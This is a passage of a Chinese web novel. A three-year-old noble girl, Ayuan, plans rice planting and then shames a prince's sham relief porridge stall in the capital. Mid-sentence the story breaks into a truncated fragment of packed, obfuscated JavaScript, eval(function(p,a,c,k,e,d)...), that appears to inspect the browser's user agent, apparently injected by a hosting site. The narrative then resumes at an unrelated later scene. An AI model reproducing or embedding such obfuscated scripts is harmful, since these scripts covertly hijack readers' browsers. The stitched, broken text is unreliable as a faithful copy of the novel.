“窝又不四……去了不回。”阿沅看着红袖那副模样,学着大人样子无奈地摇了摇小脑袋,头上的揪揪也跟着晃荡。她又瞥见莲子一直缩在门口阴影处,虽然没敢像红袖那样直接表露不满,但小嘴抿得紧紧的,手指无意识地绞着衣角,满脸都写着“我也想跟去”的不高兴。 阿沅黑葡萄似的眼珠滴溜溜一转,忽然有了主意,小手一拍,脆生生道:“给泥们留个顶顶重要的任务!” 这话像颗小火星,瞬间点燃了莲子的情绪。她一下子从门边弹了过来,规规矩矩立正在红袖身旁,面向阿沅,眼睛亮得惊人,小身板挺得笔直:“请小姐吩咐!”那架势,激动得差点就要学着孟柒的样子单膝跪下去了。 红袖慢了半拍才反应过来,虽然还撅着嘴,脸上挂着未干的泪痕,语气却已是不由自主地顺从,还带着点委屈巴巴的鼻音:“小姐说的……奴婢都听着呢。” “你们俩,得空就出去,给我挑人。”阿沅笑得眉眼弯弯。 她心里拨着自己的小算盘:眼看就要到五月底了,空间里那茬稻子又快能收了,等回来立马就能育种。按空间里那快得惊人的速度,从撒种到秧苗能移栽,最多也不过十天光景。现在干活的人手还没着落呢,正是该提早预备起来的时候啦! “挑人?挑什么样的人?要力气大得像牛犊子的么?还是要机灵的?得挑几个呀?”莲子一听,嘴里像点燃了一串小鞭炮,“噼里啪啦”轰出一连串问题,小脸上满是跃跃欲试的兴奋,丝毫没怀疑她们两个半大丫头加起来才十三四岁,有没有这“选人”的本事和威信。 红袖的脑子显然还没完全转过弯来,但她那双湿漉漉的眼睛始终没离开过小姐的脸,努力想从阿沅的表情里读出更多意思。 “要听话的,肯下力气干活的,最好……原本就会伺候庄稼地的。”阿沅晃着小揪揪,认真地思考着,又补充道:“嗯……也得要脑子活泛、手脚麻利的。还有,手劲儿得大些。” 她想起空间里那些绿油油的秧苗,没有那现代的“插秧机”,或许可以试试“抛秧”的法子?那可就全靠手腕的巧劲和力气了。 “这个……奴婢晓得了。小姐大约要选几人?”红袖终于跟上了思路,不假思索地接话,还提出了自己的见解,“既要手劲儿大,怕就不能选年纪太小的娃娃,力气还没长足呢。” 第80章 选小跟班 莲子听了有点不服气,急急反驳:“小姐明明更喜欢选半大年纪的!不选老人。我看大牛哥、二牛哥就挺好,黑丫姐姐也勤快,他们都合小姐的眼缘!” “可会种地、懂得节气土性的,多半都是田里的老把式了,就像林庄头那样有经验的。难道……连林庄头也不用么?”红袖难得顶了莲子一句,自觉是站在“实务”的角度,说完便挺了挺胸脯,一脸“我说得在理”的表情,眼巴巴等着小姐裁决。 阿沅被她俩这么一问,微微一愣,小眉头蹙了起来,小声嘀咕:“好像……红袖说的,也有点道理哦!” 可她心里确实大牛、二牛那样鲜活用机灵的半大少年,黑丫姐姐嘛,虽然有点倔,但是有想法,敢说敢干。 想着自己小手一挥,身后呼啦啦跟着一群精神抖擞的小跟班,那场面……一定威风极了。 “噗嗤”一声轻笑从门口传来。在门外听了半晌的柳氏,觉得里头小丫头们一本正经的“议事”模样实在有趣,终于推门走了进来。 她先是用指尖虚点了点红袖和莲子,眼中带着笑意,随即一锤定音:“这有何难?回头让林庄头去跟庄子里的人说一声,这段时日,地里的事都听小姐的安排便是。小姐出门干事,再让七叔或者哪个稳重的家丁跟着压阵,看谁敢不听你这个‘小主子’的?” 说着,她走到床边,一抄手将还在苦思冥想的女儿抱进怀里,轻轻掂了掂,才温声继续道:“不过啊,娘亲的小操心包,这事儿光靠你们选几个人可不行。 咱们嘉禾庄就有两百亩地呢,真要动起来,庄子上现有的佃户、劳力,自然全都得用上。若撇开他们,只挑几个新人,那些老实本分的庄稼人,怕是心里要犯嘀咕,以为主家嫌弃他们,不肯让他们沾这新庄稼的光了呢。” “可是……那样的话……”阿沅靠在娘亲温暖的怀里,小眉头却皱得更紧了,有点泄气地拉长了语调,忽然觉得自己的“将军梦”好像还没开始,就要被“现实”收编了。 柳氏瞧出女儿的失落,用下巴轻轻蹭了蹭她柔软的额发,声音放得更柔:“放心,你爹爹早发过话了,这一季无论种什么、怎么种,全由我们阿沅说了算。你是咱们家的小禾宝,谁都不能越过你去,爹爹和娘亲给你撑腰。” “小禾宝?”这个说法好新鲜,阿沅莫名有点喜欢。 “三岁小娃,就想着如何伺候庄稼,种植禾苗,可不就是小禾宝吗?”鼻尖被轻轻碰了一下,阿沅一脸兴奋。 其实孟大川私下跟柳氏说的原话是:“银子咱家还有些,田地也薄有资产。这季就让阿沅放开手脚去折腾,几个庄子的地随她高兴怎么弄。成了,是咱们阿沅的造化;不成,大不了就当少收一季粮食,哄孩子开心最要紧,算不得什么大事。” “那……好吧!”阿沅终究还是坚持自己最初的想法,在柳氏怀里扭了扭身子,伸出小手指头数着,“莲子说的那几个人,大牛、二牛、黑丫,我都要。二叔婆,她笑眯眯的,阿沅也喜欢。” 她心里的小算盘拨得哗哗响:好几个庄子呢!秧苗种下去只是开头,往后浇水、除草、追肥……事情多着呢。忙起来身边没几个既聪明肯干、又对她忠心耿耿的“自己人”怎么行? 这几个人,不管是当传话筒,还是手把手教别人,或是帮忙聚拢人心、鼓动大家,肯定都用得上! 想到这里,她又觉得自己的“种田的禾宝将军”麾下,还是能有几个得力“副将”的。 本以为比较崎岖难行的进城路,实际走起来才发现,不过是多费了半日的工夫,便已望见了那巍峨的城门楼子。积雪覆盖的官道虽显泥泞,但比预想中好走许多。 即使带着阿沅这个小不点,一行人全程也未乘坐马车。起初,阿沅被裹在厚厚的狐裘里,安顿在绿果身前,两人同乘一骑。 小姑娘鲜少骑马,兴奋得小脸通红,唯一露在外面的一双乌溜溜眼睛左顾右盼,看什么都新鲜,时不时伸出带着绒手套的小手指点着路边的雪挂冰棱,发出“呀”、“哇”的惊叹声。 绿果一手稳稳揽住她,一手控缰,脸上带着温柔的笑意,不时低头在她耳边轻声解说。 越往前走,地势渐高,待到翻越那两座依然冰雪毫无消融迹象的山头时,连最健壮的骏马也踟蹰不前,打着响鼻,在深及马腹的雪地里艰难挪步。 按原计划,阿九和十一只能就此止步,带着所有马匹原路返回。临别时,阿沅还不舍地朝他们挥了半天手,小嘴抿得紧紧的。 接下来的路程,孟沅便彻底成了孟柒、十五和十六“腋窝里的红薯”,绿果着单身紧紧跟随。他们三人皆是身手卓绝,轮流将她夹在臂弯里,施展轻功,踏雪无痕。 多数时候,他们直接于覆雪的松柏枝梢间借力飞纵,身形起落如大鸟,偶尔才会借助简易的滑雪板在开阔的雪坡上滑行一段。 风声在阿沅耳边呼呼作响,下方的雪原树木飞速倒退,起初她还觉得新奇刺激,咯咯笑个不停,小手紧紧抓着叔叔们的衣襟。但时间一长,目之所及尽是茫茫白色,晃得人眼睛发酸生疼,连只飞鸟或松鼠的踪影都难寻觅,最初的兴奋便渐渐被疲惫和单调取代。 后来她乖乖听了话,紧紧闭起眼睛,将小脸埋进带着体温的衣料里。冰天雪地的寒意与耳边持续的风声竟成了奇特的催眠曲,她在这一颠一簸、忽高忽低的“飞行”中,不知不觉沉入了梦乡。 第81章 生闷气 不知过了多久,阿沅在一种温暖而平稳的晃动中悠悠转醒,发现自己又回到了马背上,依旧被绿果圈在身前。只是马已换过,同来的四位叔叔也都有了新的坐骑。 她迷迷糊糊地揉了揉眼睛,从裹得严实的大氅里探出小脑袋,只见七叔身旁,不知何时多了两位身着玄色劲装、面覆黑巾的骑者。两人身姿挺拔,气息沉稳,正与孟柒低声交谈。 “这四……十七叔和十八叔吗?窝……窝四阿沅哦!”刚睡醒的声音带着浓浓的鼻音和奶气,她努力说得清晰些,还举起被厚厚手套包裹得像个小馒头似的手,朝着新来的两人热情地挥了挥,算是打招呼。 “哈哈!”其中一位黑衣人朗声笑了起来,声音爽利,“十七叔和十八叔还没人排得上号呢,我是你八叔!” 另一位声音则略显低沉些,但也透着亲切:“小姐,在下行十二,是你十二叔。” 两人虽遮着面容,但眉眼弯弯,目光炯炯,语气里满是见到小辈的欣喜。阿沅心想,果然爹爹手下这些叔叔们,脾性都差不多,都是这般刚毅、爽朗又正直,让人见了就心生信赖和亲近。 “城外怎么没见施粥?”阿沅忽地想起一事,仰头问绿果,也像是问几位叔叔。 这段时间她常听爹爹和娘亲忧心忡忡地谈论灾情,按他们的说法,这种时候,城门外早该有官府或大户人家搭起粥棚救济灾民了。可一路行来,莫说粥棚,连个像样的聚集点都未见着,只有三三两两面黄肌瘦的百姓瑟缩在寒风里。 即便到了高耸的城墙根下,景象也依旧冷清萧索,不少衣衫褴褛的灾民聚拢在紧闭的城门附近,却似乎无法入城。方才他们一行,若非亮出安平侯府的令牌,恐怕也要被拦在城外。 “施粥的都在城里呢!”孟捌接过话头,语气里满是不忿,“皇帝钦点了太子亲管赈灾事宜,可听说咱们这位太子爷,至今还舒舒服服窝在东宫里,等着这老天爷自己把雪化干净呢!哪会管城外百姓的死活!”他越说越气,握着马缰的手都不由收紧了些。 “应该饿他三天!”阿沅听得小眉头拧成了疙瘩,果然杨大儒说的都是真的,那太子就不是好东西。想起那些冻饿交加的灾民,心头火起,一句气话脱口而出。 话音刚落,嘴就被身后的绿果轻轻捂住。“小姐!”绿果低声提醒,语气有些紧张。前方的孟柒也回过头,虽隔着距离,目光却带着不容置疑的严肃,沉声道:“小姐,慎言。” 就因着这句话和这份憋闷,阿沅是鼓着腮帮子,气呼呼地进的宅门。小嘴噘得能挂油瓶,一路都没再吭声。 他们依旧下榻在离安平侯府只隔两条街的那座清静宅院。显然留守的人早已得了消息,一切准备妥当。热腾腾的洗澡水、暖胃的饭菜及时奉上。 舒舒服服泡了个热水澡,洗去一身寒气与疲惫,再饱餐一顿,外头的天色又开始转暗,沉沉地压了下来。 “小姐,”孟柒没有进屋,立在廊下,洪亮的声音清晰地传到屋内,“看路上的情形,没有个七八天,官道难以通畅跑马,更遑论马车了,他们回不来。您且安心好好休息几日,我们在此一两日再做打算不迟。” “那窝……”阿沅坐在暖炕上,抱着小手炉,正琢磨着明天可以去哪儿瞧瞧,孟柒的声音又悠悠传了进来,打断了她的话头:“明日,在下需往衙门走一遭。上次庄子过户的手尾还有些未料理完。” “哦!那窝……”阿沅眼睛一亮,本想说自己可以跟着去衙门见识见识,她还没见过真正的古代衙门是什么样呢,是不是像戏文里演的那般威武森严。 “小姐若要出门,身边至少需跟足三人。”孟柒的声音再次不容置疑地响起,彻底截住了她的话,“绿果,十五,十六,你们须得看好小姐,务必寸步不离。” 接连两次被打断,阿沅心里那点小脾气又上来了。她瘪了瘪嘴,把后半句话咽了回去,闷声闷气道:“那……窝们明天……叽叽去玩。” 说着,便赌气似的蹬掉鞋子,一股脑儿钻进柔软的被褥里,连绿果端着热水给她漱口都不理了。 直到夜深,睡意朦胧间,她还无意识地嘟囔着梦话,小拳头在枕边轻轻握了握:“七叔讨厌……讨厌……不给泥买好柒东西……,气屎你……” 小家伙梦中还在进行无力的“报复”。 第82章 我要喝……粥 吃早饭的时候,她坐在高高的椅子上,小短腿一下一下地晃荡着,手里捏着半个小包子,眼睛却滴溜溜地在饭厅里转了一圈,确认七叔真的不在,但随即就被眼前热腾腾的粥吸引了注意。 “小姐是想买什么?今天去布庄还是买好吃的?”阿沅依然被裹了个严实,只露出白白嫩嫩的一张脸,像个雪团子,浑身上下只一双乌溜溜的大眼睛露在外面,灵动极了。 直到准备出门,绿果让人备了车马,才俯下身,轻轻替阿沅整理了一下帽檐上的绒毛,柔声问询。 按照她的想法,小姐虽然是个小人精,主意大得很,但毕竟年纪小,小娃娃的心思无非就是想买点漂亮的衣裳或是好吃的零嘴儿,自己所猜应当八九不离十。 “先去城东,然后往城南……堪堪。”阿沅奶声奶气,却又慢条斯理,小脑袋还微微偏着,似乎在回想什么,说出的方位竟带着一种奇异的笃定,不像是信口而来。 连各坐一骑、一向沉默寡言的十五和十六都忍不住对视了一眼,从对方眼中看到了讶异。 “是,小姐。”却没人提出一个字的质疑,阿沅被绿果小心抱上了车,马车缓缓由西向东驶去。车轮碾过青石板路,发出辘辘的声响。 由庄子一路而来,见到的都是灾后的满目疮痍,许多庄子死的人比活的还多,收敛埋葬都缺少人手,一片凄惶。官府不但没施出援手,还在城门多增加了一道关卡,限制百姓进入,更添了几分凝重。 昨日从北城门进入,沿途的粥棚不下十家,越是接近勋贵所住的城西,领粥的百姓越少,阿沅觉得奇怪极了,小眉头都蹙了起来,这也是她想出去一探究竟的原因。 “走走走,哪来的乞丐,城西是你们能待的地方?要吃到城北城南领去!” 听到这句粗鲁的呵斥,阿沅立刻掀起了帘子一角,绿果也连忙凑了过去。 十五则在前面已经小声骂开了,拳头捏得咯咯响:“见势欺人的狗东西!不给吃装什么善人!那锅里的粥都快糊了也不见施一碗!” 车夫也叹息摇头,低声道:“还皇子府呢!不过是摆个样子,哗众取宠而已,根本就没把百姓当人看,心都是冷的。” “四哪个皇子府呀?窝去试试,”阿沅眨巴着大眼睛,那粥不给百姓吃,难道留给贵人吃的?可是阿沅话音刚落,绿果和十五、十六三道声音同时出言制止,急切又整齐,“小姐,不可。” 然后马车并未停留。 “停!泥们……不听话……窝告诉爹爹。”阿沅做势就要往车下跳,小身子一扭一挣,把绿果吓得魂飞魄散,连忙大喊“快停车”,声音都变了调。 车夫随即“吁”了一声,紧急勒马,好在马车本就走得不快,停得还算平稳,只是微微颠了一下。 十五和十六慌忙下马,还想劝阻,但阿沅已经伸开双臂,小脸板着,一副“不达目的不要休”的架势。绿果只能抱她下车,却不敢让她落地,依然紧紧抱着,生怕一松手这小祖宗就冲过去了。 “去,窝……肚肚饿了!”阿沅小手指向对面路口的粥棚。 那粥棚搭得倒是齐整宽大,两口大锅冒着似有若无的热气,三四个小厮和婆子或坐或站,正闲磕牙。 虽有衣衫褴褛的穷苦百姓围观,眼巴巴地望着,却没见一个真正领到粥的人,还不时被驱赶。 绿果闻言,心里暗暗苦笑,若不是刚刚亲眼看着、亲手侍奉小姐吃了一小碗熬得香浓的肉粥,外加五六个玲珑可爱的小笼包,这会儿抱着都觉得小姐的肚子还圆鼓鼓、暖呼呼的,还真要被小姐这一本正经的“没吃饱”给骗了过去。 “小姐,我们这么过去,也不像灾民啊!”十五挠了挠头,看着自己身上浆洗得干净挺括的棉衣,有点犹豫。十六也低头看了看自己的装束,没有动。 他们三人虽然穿的虽然不是绫罗绸缎,但也是质地密实、毫无补丁的精细棉布,因为要进城,还特意选了最新的穿,怎么看也与周围面黄肌瘦、衣衫褴褛的灾民格格不入。 再看小姐那一身,粉嫩色蜀锦小袄衣裙,上面用银线绣着精致的缠枝小花,在晨光下隐隐泛着柔和的光泽。袖口、领口、帽檐还镶嵌了一圈洁白光润的狐狸毛,衬得那张小脸愈发玉雪可爱。 这活脱脱就是侯府里千娇万宠的嫡出大小姐装扮,跟那两口灰扑扑的施粥大锅,简直是两个世界。 就这样子,谁敢给他们粥吃呀?吃死人可是要偿命的。 十六放柔了声音,试图转移她的注意力:“小姐,前面不远就是稻香斋了,那里的糕点在京城可是排第一的,啥口味都有,还酥香可口,我们不如去那儿?” 意思再明白不过,想吃什么好吃的,往那买去便是,何必在此受气。 “窝就吃粥!过去。”阿沅小嘴一抿,下巴微微扬起,就不信这个邪,手指的方向非常坚定,就那家了。 她也没再挣扎着要下来,只是隔着一条马路,气鼓鼓地瞪着那边,意志很坚决。 他们谁都不会任由她这三岁小娃自己走过去,那就抱着走呗,她心里也门儿清。 “吃他一碗粥怎么了?奴婢就不信他们会赶人。”终于被小姐那股子执拗劲儿感染,绿果心头也涌上一股不平之气,抱着小姐噔噔噔就往前面走,脚步踩得结实,气势都理直气壮了几分。心想,自家小姐何等金贵,肯吃你一口粥,那是你的造化! 十五和十六见状,知道拦不住,只得连忙跟上,手不自觉按在了腰间的刀柄上,眼神警惕地扫视着四周。 …… “放窝下来!”距离粥棚还有几来步的时候,阿沅在绿果怀里扭了扭,挣扎着要下地。 绿果刚把她放下,她便噔噔噔迈着小短腿,径自就往那两口大锅冲去,一手叉着腰,一手指着其中一口大锅,仰着小脑袋,努力拿出最凶的架势:“窝……要喝粥!”声音奶凶奶凶的,活脱脱一个被宠坏了、颐指气使的小大小姐模样。 她却没得到粥棚里那些正嗑着瓜子、扯着闲话的婆子小厮的半点回应。他们似乎根本没听见,或者听见了也懒得搭理,连眼皮都没多掀一下。不知道是真没注意,还是根本就没有服务的意识? 倒是旁边围观的百姓中,有人觉得好笑,有人嗤笑出声,带着几分酸楚和嘲讽:“哎哟,这位小姐,这粥可不是给您这富贵人吃的,我们这些穷人啊,也不配吃哟。”这话引来一阵压低了的、含义复杂的哄堂大笑。 阿沅两只小手都叉到了腰上,挺起小胸脯,气势更足了,乌溜溜的眼睛瞪得圆圆的,冲着里面的婆子小厮大声喊:“泥们想屎吗?” 敢不理本小姐,后果很严重!那认真的小模样,仿佛真的在思考怎么让他们“好看”。 这回里面的终于有人懒洋洋地往外瞥了一眼,可视线略高,只看到离着还有四五步远、一脸怒色的绿果,还有距离七八步远、抱臂而立、神情冷肃的两个黑衣护卫,愣是没瞧见还没大锅高的阿沅。 那小厮又转回头,对同伴撇撇嘴,不耐烦道:“哪来的?不相干的人!别理。” “泥们,耳朵聋了吗?没看见窝?”阿沅感觉自己被彻底忽视了,小脸蛋气得微微泛红,踩着脚又往前凑了两步,几乎要碰到那滚烫的锅沿。 “小姐,你都没有这支起来的锅台高呢,吃什么粥呀?回家喝奶去吧。”一个混不吝的声音从人群里传出来,带着戏谑,又是一阵压抑不住的哄堂大笑。 第83章 微服私访? “你们耳聋眼还瞎不成?没看见我们小姐要喝粥吗?”绿果生怕小姐气出个好歹来,赶紧上前一把将阿沅护在身侧,自己也来了脾气,声音拔高了几分:“我们小姐不配吃你们一碗粥吗?赶紧的!别磨蹭!” “不四一碗,四五碗!”阿沅趁机又伸出手指,先指了指自己,又指向已经快步跟上、一左一右如同门神般站定的十五和十六,最后连绿果和车夫也没落下。 四个大人加上一个奶娃娃,这组合本就奇特,再加上十五、十六腰上明晃晃的佩刀,脸色沉凝,果然很能唬人。 一个原本坐着、体态肥胖的婆子见状,眼皮一跳,连忙扔掉手中未嗑完的瓜子,两手往腰上拍了拍并不存在的灰尘。 她肥胖的身子探过那两口大锅,看见了阿沅,只稍愣了瞬间,脸上瞬间堆起了近乎谄媚的笑容,急急招呼身边还在发愣的小厮:“哎哟喂!没点眼力见!还不快点伺候着!” 阿沅趁机又瞪了那婆子一眼,努力做出凶巴巴的样子吓唬人:“快点!窝饿!”小手还拍了拍自己的肚子,虽然那里一点也不瘪。 两个小厮这才不情不愿地动了动身子,嘴里还低声嘟囔抱怨:“这……这哪个府上来找茬的吧?穿得这般光鲜……” “闭嘴!”那肥胖婆子压低了声音,急急呵斥,眼神却不安地瞟向周围看热闹的百姓,“殿下怎么吩咐的忘了吗?赶紧的!找茬的可不会派个三岁小娃来!你们瞧瞧这小小姐的气度!” 她一边说,一边偷眼打量着阿沅那身价值不菲的打扮和浑然天成的骄纵模样,“能上杆子来吃碗带米糠的稀粥,不是……那微服私访的贵人是啥?没准……没准当朝宰相还是户部尚书就混在人群里看着呢!” 她越说越觉得可能,自己先吓出了一身冷汗。 这话如同惊雷,在两个小厮耳边炸响,他们的腿不由自主地颤了颤。一个连忙挤出笑容,小跑着上前,弯腰躬身,语气变得无比恭敬:“这位尊贵的小姐,您这边请,这边坐,粥马上就来,马上就来!” 另一个,则转身就往棚子里钻,手脚麻利地张罗起来。 阿沅都还没在婆子慌忙用干净布巾擦了又擦的凳子上落座,那婆子已经点头哈腰,形容无比狗腿,仿佛眼前不是个三岁娃娃,而是了不得的大人物。 没一会儿,一个小厮提着个锃亮的铜茶壶小跑过来,五个看起来颇为精致的白瓷茶碗在他们面前一字排开,斟出的居然是茶色清亮、散发着淡淡花香的花茶,与这简陋的粥棚格格不入。 紧接着,两碗冒着腾腾热气、明显比寻常施粥浓稠许多、甚至能看到些肉末的粥被端上了桌面。 那婆子又不知从哪儿变戏法似的端来两碟精致的糕点,杏仁酥色泽金黄,桂花糕莹白如玉。她对着阿沅几人鞠躬屈膝,态度恭顺得近乎卑微。 “咦!还有杏仁酥和桂花糕?”即使是从不缺吃喝的阿沅,看见这突然出现的、明显不是施粥内容的点心,也有点嘴馋了,黑亮的眼睛里闪过一丝好奇。 虽然没有马上上手去拿,但刚才被忽视的闷气,眼见着隐隐压下去了一半,小脸上的神情也缓和了些。 但她投向那婆子的目光里,依然带着毫不掩饰的鄙夷,小鼻子轻轻“哼”了一声,心里嘀嘀咕咕:“看人下菜的狗奴才,变脸比翻书还快!后面的主子肯定也不是什么好东西!” 小孩子心性上来,阿沅正想大快朵颐,小手指已经拈起一块杏仁酥,正要往那红润润的小嘴里送,却忽然瞥见周围已经悄悄围拢过来、靠近了不少的那些百姓,不少人手里都拿着个空碗。 她的动作顿住了,杏仁酥悬在嘴边,乌溜溜的大眼睛扫过那一张张写满渴望与憔悴的脸,马上额头轻轻皱了起来,那好看的眉毛像两片小小的羽毛拧在了一起。 城中的百姓衣着比一路来看见的灾民是好上一些,但也不过是补丁摞着补丁,洗得发白的旧衣,看着单薄得很,根本抵不住这冬末的寒意。 他们大多身形枯槁,面有菜色,显然也不是能餐餐吃饱饭的样子。有的人眼巴巴地望着他们桌面上那两碟油光润泽、香气隐隐飘散的精致糕点,喉头不自觉地上下滚动,使劲咽了咽口水。 那眼神让阿沅觉得手里的糕点都有些烫手了。 “不给他们施粥么?”阿沅不看那几个瞬间变得殷勤备至的婆子和小厮,只把小脸转向那两口依旧“热腾腾”冒着些微白气、却无人敢上前的大锅,奶声奶气地问道,语气里带着明明白白的困惑和不满。 “施!自然是施的!小姐明鉴,我们三殿下宅心仁厚,最是体恤百姓,从这雪灾第三日开始,就下令在此设立粥棚,天天施粥,从不间断,风雨无阻哇!” 那肥胖婆子应是这里主事的,此刻笑得一脸谄媚,脸上的褶子都挤成了一朵菊花。她心里正七上八下地打着鼓:哪里还敢怠慢? 瞧这排场,这气度,不知是哪个一品大员家中的千金,搞不好还是皇亲国戚呢!三岁就能被派出来“体察民情”,这背景怕是深不可测!她恨不得把自家主子夸出一朵花来。 她马上换了一副看似和蔼可亲的嘴脸,转向外面围观的百姓,提高了嗓音,力图显得亲切:“哎呀,都愣着干什么?还不快点拿粥碗来排队!这粥刚刚煮好,正热乎着!大家久等了,久等了!” 她挥着手,仿佛刚才呵斥驱赶人的根本不是他们。 人群里先是一静,随即传来一阵低低的、带着不敢置信的欢腾,甚至有人兴奋地吹起了短促的口哨。铁锅、陶瓷碗碰撞的叮当声立刻响成一片。 方才还畏缩不前的百姓们蜂拥而上,转眼间两口锅前排成了两条歪歪扭扭却充满急切的长龙。 还有人闻讯从对面的小巷、街角不断往这边跑来,队伍眼见着越来越长。原来并不是城中没有灾民,而是有人在故意粉饰太平。 很快有人分到了粥,但也马上有人质疑:“这哪是粥啊!米都没有几粒,怎么像是涮锅水?” 第84章 呵呵!有点意思,小爷跟去看看 阿沅低头看看自己面前那碗明显加了料的“肉粥”,又看看手里拈着的杏仁酥,眼珠转了转,将酥饼送到嘴边,轻轻咬了一小口,细细嚼着,然后抬起小脸,给那正紧张盯着她的婆子一个天真无邪、甚至带着点甜意的虚假笑容。 接着,她又来了一句,声音不大,却字字清晰:“好婆婆,记得给他们也分这样的肉粥哦,”她用小勺子指了指自己碗里可见的肉末,“还有这甜甜的糕点,香香的,是不是也每人都有呀?冷冷,大家饿饿。” 那婆子脸上谄媚的笑容瞬间僵住,仿佛被冻住了一般,眼里的惊惶几乎要溢出来。 但她到底是在贵人府里历练过的,脸上的肌肉抽搐了几下,那僵硬的笑纹很快又强行聚拢在一起。 是笑容变得比哭还难看,一下说话都开始不利索了,结结巴巴地道:“这……这位小姐有所不知,这……这第一锅,第一锅都是先让大家暖暖胃,垫垫肚子,接下来……接下来就都是这样的肉粥了,对,肉粥!” 她再偷眼看看眼前这位仿佛不谙世事、只顾着一口接一口品尝糕点、摇晃着小短腿的大小姐,心里暗暗叫苦不迭,肠子都快悔青了。 我的大小姐欸!我的小祖宗!这两碟点心还是主子一时高兴,赏给我们下人的,一碟就得几两银子,寻常百姓哪见过这个? 这么撒出去,爷回头查问起来,还不得扒了我的皮,抽了我的筋! 但她眼珠子骨碌一转,急中生智,马上又转向排队等待、此刻因为听到“肉粥”和“糕点”而更加翘首以盼的百姓,提高了声音,带着几分夸张和明显的心虚承诺道:“大家别急!过了午时,过了午时就开始派发肉包子!大肉包子!不过可都排好队,守规矩,迟了没领到,那可怪不得婆子我了!” “是不是天天都有肉包子啊?”人群里马上有人扯着嗓子问,声音带着几分戏谑和不信。 “别不是,就发今天这么一回,糊弄人吧?”另一个声音紧接着响起,充满了质疑。 阿沅听得出,那分明是十五和十六变了调的声音混杂在人群里,她嘴里香甜的糕点顿时觉得更甜了两分。 小脸上那“奸计得逞”的小得意几乎要藏不住了,只好努力板着,小肩膀却几不可查地轻轻耸动了一下。 婆子听得心头一颤,额角冒汗,骑虎难下,只能硬着头皮,拍着胸脯保证:“哪能呢!哪能呢!我们三殿下仁德……自然是……自然是天天都有的!大家放心!” 她这话说完,连同旁边正在舀粥、耳朵却竖得老高的两个小厮,腿都忍不住颤了颤,后背发凉,心里直打鼓:完了完了,这话放出去了,收不回来了,回去会不会被主子乱棍打死啊! “呵呵,有意思。”对街茶楼二楼,临街的窗台边,看了许久的两个人中,那位身着不起眼青色常服、年纪最多不过十岁的小公子忽然轻笑出声,来了兴致。 他面容尚显稚嫩,但一双眼睛却颇为沉静明亮。他的目光久久停留在楼下那个又拈起一块桂花糕往嘴里塞,一边吃一边还不忘偷偷观察粥棚动静,摇晃着一双够不着地的小短腿,明明是一脸天真模样,眼角眉梢却泄露出一丝“奸计得逞”般小得意的小福娃身上。 他嘴角轻轻弯起一个玩味的弧度,嗤笑出声,低语道:“倒是个小人精。” 他侧头对身边身材高大、气息沉稳的随从道:“去,小爷跟去看看,这究竟是谁家的小姐。小小年纪,心思就如此机巧深沉,步步为营,硬是逼得那奴才改了章程……怕不是得了哪家大人的授意,特意来此‘扬名’或‘揭短’的也未可知。” “是!六……爷!”随从躬身应声,并无多言,立刻转身下楼安排车马,动作干脆利落。 还是肚子太小。 那碗热腾腾的肉粥,阿沅只勉勉强强喝了几小口,米粒软糯,但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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施粥点一下多了起来,棚子搭得也齐整。每一家粥棚前,领粥的人虽不像赶集那样拥挤,但也三三两两,络绎不绝。 他们穿着打扮各异,有破衣烂衫、补丁摞补丁的,也有衣服虽旧却浆洗得干净的。 没人会去仔细盘问或追究他们到底是不是真灾民,反正来了就能领上一大勺。那些衣衫单薄得在冷风里直哆嗦的,还能额外得到一件半旧却厚实的衣衫。 空气里弥漫着真实的米粥香气和人间烟火气。 “小姐,听人说前头那可是皇商唐家设的施粥点,粥熬得能插筷子不倒!要不要……再下去‘尝尝’?”十六又开始扯着嗓子吆喝起来,声音洪亮得恐怕对面街都能听见,语气里那点子戏谑和看好戏的意味,简直掩都掩不住。 哪里是正经传话,分明是在逗弄他家这位小主子。 “肚肚……装不下了嘛。”阿沅揉了揉自己圆鼓鼓的小肚子,眯起眼睛,像只慵懒又餍足的小猫。她知道十六在打趣她,可眼下确实没“证据”反驳——小肚子被几口粥和糖葫芦塞得满满当当,实在没地方再装别家的“尝鲜”了。 她咂咂嘴,回味了一下糖葫芦的酸甜,心里最最清楚的是:城东这边的施粥点,一眼望去就是实打实的,棚子结实,锅灶干净,伙计们手脚利落,那大木桶里冒出的热气都带着米油的醇香。 粘稠的粥用的都是上好的白米,不见一点杂色。负责施粥的伙计,舀起满满一大勺浓粥,手腕稳稳当当,毫不吝啬地扣进灾民伸过来的碗里,都能堆起个小尖。每人除了大半碗实实在在的粥,还能再领一个黄白相间、比阿沅小手握拳还大的二合面馒头,看着就顶饿。 “啧啧,这馒头实在,揣怀里留到晚上吃都行!”车夫瞧见队伍里有个老汉,一边呼呼吹着气喝粥,一边小心翼翼把那个大馒头往怀里藏,不由得感叹出声。 “就是,瞧这馒头个儿大的,像我们这些习武的,饭量大,这么一个下去也能顶半饱了。这家主事的人,心眼实在,是真心行善。”十五也连连点头,他掂量着那馒头的分量,觉得自己也得五六口才能吃完。 他骑马护在车旁,一路看过去,不知不觉间,嘴里已经为这家没露面的主家说了好几箩筐的好话。 城东虽然大多都是商贾之家,但花起银子来一点都不含糊,不像城西那些官员和皇亲国戚那么多心眼子,绝对是花了真金白银,没掺半点假。 这情形,实在是无需阿沅再去验证,也没了坑主家一把的想法。 “小姐,前面就是青阳门了。过了这道门,可就是城南地界。”车夫扬鞭指了指前方那道略显陈旧却高大的门楼,话语间带着规劝的意味,像长辈在叮嘱不懂事的孩子。 “城北虽说乱些,三教九流什么人都有,可那里走南闯北的商客也多,自有它乱中的规矩。 城南……唉,住的都是真真正正的穷苦人,家底薄,日子紧巴,万一真乱起来,那势头可比城北吓人得多。若是没什么非要买不可的东西,老奴劝您,还是尽量别下车了,在车里看看就成。” 他实在是被这位小祖宗动不动就叫停、兴致一来就蹦下去的性子给弄怕了,生怕在那边出点闪失。 青阳门是内城的一道界门,共有三个门洞,居中的最为高大宽阔。 像他们这样骑马驾车的,从中间的门洞通过,守门的衙役连腰牌都懒得查问,摆摆手就放行了,显出一种惯例的便利。 两边的小门洞则狭窄许多,走的多是步行的百姓,有挑着担子颤悠悠的货郎,有牵着孩子小心翼翼的母亲,也有慢吞吞的牛车、吱呀呀的板车。 